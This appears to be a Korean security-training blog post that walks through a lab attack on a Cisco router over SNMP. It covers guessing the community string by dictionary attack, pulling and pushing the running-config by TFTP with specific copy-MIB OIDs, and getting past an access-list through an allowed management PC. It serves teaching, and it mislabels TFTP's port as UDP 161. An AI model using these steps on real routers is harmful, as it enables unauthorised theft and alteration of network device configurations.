SNMP의 기능
네트워크 구성 관리 : 네트워크상의 시스템들의 구조를 파악할 수 있다.
성능 관리 : 각 네트워크 세그먼트간 네트워크 사용량,에러,처리속도,응답시간등 성능 분석이 필요한 통계정보를 얻을 수 있다.
장비 관리 : 네트워크 정보 뿐만 아니라 시스템에 관한 정보까지 제공
SNMP 취약점
SNMP agent의 입장에서는 Master를 확인할 수 있는 방법이다 없다.
Topology
Agent가 Management를 확인할 수 없다는 취약점을 이용하여 Kali가 Management PC를 통해 GW router 에 정보를 뺴오는 공격을 한다.
GW - SNMP-Server open
SNMP Agent인 GW router 에서 cisco라는 비밀번호로 SNMP를 활성화 시켰다.
Kali - tftpd-hpa
아무런 정책이 설정이 안되어 있는 GW router 에게 tftp를 받아오기 위해 Kali에서 tftp설정을 해준다.
TFTP_DIRECTORY - 받아온 파일이 저장되는 경로
TFTP_ADDRESS - 전체 아이피에서 포트 69번으로 오는걸 전부 허용
Kali - tftp-hpa Start
Kali에서 tftp를 활성화해준다.
Kali - service --status-all
tftp가 활성화 되어 있는지 확인한다. grep + 명령어를 같이 써 활성화 돼 있는것만 확인할 수 있다.
Kali - nmap
nmap을 통해 라우터에 tftp 포트가 열렸는지 확인한다
tftp 포트번호 - udp 161
nmap -sU -p [포트번호] [대역대 or 특정 IP]
nmap 옵션
-sU - UDP 스캔
-p -포트지정
Kali - onesixtyone (사전 대입 공격)
SNMP에 Community String값을 알아내기 위해
onesixtyone -c 를 이용해 dict.txt(벤더사 별로 비밀번호들이 사전파일로 되어 있음)를 대입해 community 값을 확인한다.
Community 값 = cisco
Kali - OID 생성
SNMP 메세지는 OID로 메세지를 전달하기 때문에 OID를 적어서 라우터에게 보내기 위해 파일을 만듭니다.
BT 에 간편한 툴이 있지만 수동으로 만들어봤습니다
OID 명령어 옵션
-v : 상세 보기
2c : 해당 SNMP의 버전
-c : Community String을 지정
$N i [] 옵션 설명
- 1.3.6.1.4.1.9.9.96.1.1.1.1.2 ==> oid ccCopyProtocol $N i 1
라우터 환경 설정 파일을 up/down할 protocol 지정
tftp 1 / ftp 2 / rcp 3 / scp 4 /.....
- 1.3.6.1.4.1.9.9.96.1.1.1.1.3 --> oid ccCopySrouceFileType $N i 4
라우터에서 tftp를 통해 내려받을 환경설정파일 타입
networkfile 1 / isofile 2 / startupconfig 3/ running config 4 / terminal 5 ......
- 1.3.6.1.4.1.9.9.96.1.1.1.1.4 --> oid ccCopyDestinationFileType $N i 1
다운로드 받는 측에서 tftp가 설치된 서버쪽, 받아오는 환경설정파일의 type 이 어떤 것인지 정의
running-config의 텍스트 내용을 [router.run]
networkfile 1 / isofile 2 / startupconfig 3/ running config 4 / terminal 5 ......
- 1.3.6.1.4.1.9.9.96.1.1.1.1.5 $N a 1.1.1.1
a - Address
받을 PC(Kali)의 IP
- 1.1.1.254 1.3.6.1.4.1.9.9.96.1.1.1.1.6 $N s run$N-config
저장 파일 이름
- sleep 5
빠르게 진행되다보면 서버에서 막아버리기 때문에 잠시 정지를 한다.
- 1.1.1.254 1.3.6.1.4.1.9.9.96.1.1.1.1.10 $N
잘 수행되었는지 확이하는 object 성공하면 3 / 실패 4 // 1,2 느리게 수행되고 있다
Kali - snmp_OID (파일 받기)
만든 파일을 실행하면 "run10-config'라는 이름과 마지막 실행되었는지 확인하는 명령어에 3이 적혀저 나왔다
3 - 성공
Kali - tftp 파일 확인
처음에 지정해준 경로로 파일을 확인해보면 파일이 생성된걸 볼 수 있다.
내용을 확인해보니 GW router 의 running-config를 확인할 수 있었다.
Kali - 파일 수정
테스트를 위해 GW router 에 config파일을 복사하여 hostname을 수정하여 저장했다.
Kali -SNMP_OID (파일 보내기)
수정된 파일을 보내기 위해 Upload를 위한 OID 파일을 생성하고 실행했다.
GW - tftp
GW router 에 CLI를 확인해보면 1.1.1.1의 의해 tftp 파일이와서 config가 바뀐걸 확인할 수 있다.
확인이 쉽게 hostname을 바꿨기 때문에 hostname이 TEST-TEST로 바뀌었다.
GW - access-list
지금까지는 아무런 정책이 없었기 때문에 쉽게 SNMP를 통해 GW router 에 config 파일을 받고 올릴 수 있어
Management 만 접속이 가능하게 access-list를 설정해줬다.
이번에는 Management로 우회를해서 config 파일을 받아오도록 한다.
(실습이기 때문에 Management 의 IP를 알고 있다는 가정하에 실습을 진행하였다.)
Kali - SNMP_OID
access-list로 1.1.1.100 IP만 허용해줬을때 다시 실행하면 4번이 뜨면서 실패했다고 나온다.
Kali - copy-router-config.pl
Managent PC에는 tftp 서비스가 열려 있어야한다.
라우터 설정해 Management PC만 허용되어 있기 때문에 XP를 통해 공격을 진행한다.
copy-router-config.pl 툴을 이용해 1.1.1.100 PC에 config 파일을 받아온다.
pwnd-router.config라는 이름으로 저장되어 받았다고 확인할 수 있다.
Managent PC - tftp
Management PC의 tftp 파일을 확인해보면 GW router 에 config가 온걸 확인할 수 있다.
Kali - 1.1.1.100 tftp 접속 (다운)
공격자 PC로 Managment PC로 tftp 접속을 하여 해당 파일을 다운 받는다.
Kali - 파일 수정
테스트를 위해 다운받은 파일의 hostname을 변경한다
Kali - 1.1.1.100 tftp 접속 (업로드)
수정한 파일을 다시 1.1.1.100인 Managment PC에게 tftp로 업로드한다.
Kali - merge-router-config.pl
merge-router-config.pl 툴을 이용해 1.1.1.100으로 보낸 수정된 파일을 GW router에게 보낸다.
GW - tftp
GW router 에 CLI를 보면 Managment로 허용된 1.1.1.100 IP에서 tftp가 왔다고 볼 수 있다.
수정된 config파일을 받았기 때문에 hostname이 변경된것도 확인할 수 있다.
'보안 교육 실습 > Kali-모의침투' 카테고리의 다른 글
Kali - DNS Spoofing (Ettercap) (0) | 2022.04.03 |
---|---|
Kali - SSL Strip (arp-spoofing) (0) | 2022.03.29 |
Kali - Dsniff, Urlsnarf (ettercap - arp spoofing) (0) | 2022.03.29 |
Kali - DHCP Spoofing (nmap, ettercap, wireshark) (0) | 2022.03.26 |
Kali - DHCP Spoofing (nmap, ettercap, wireshark) (0) | 2022.03.26 |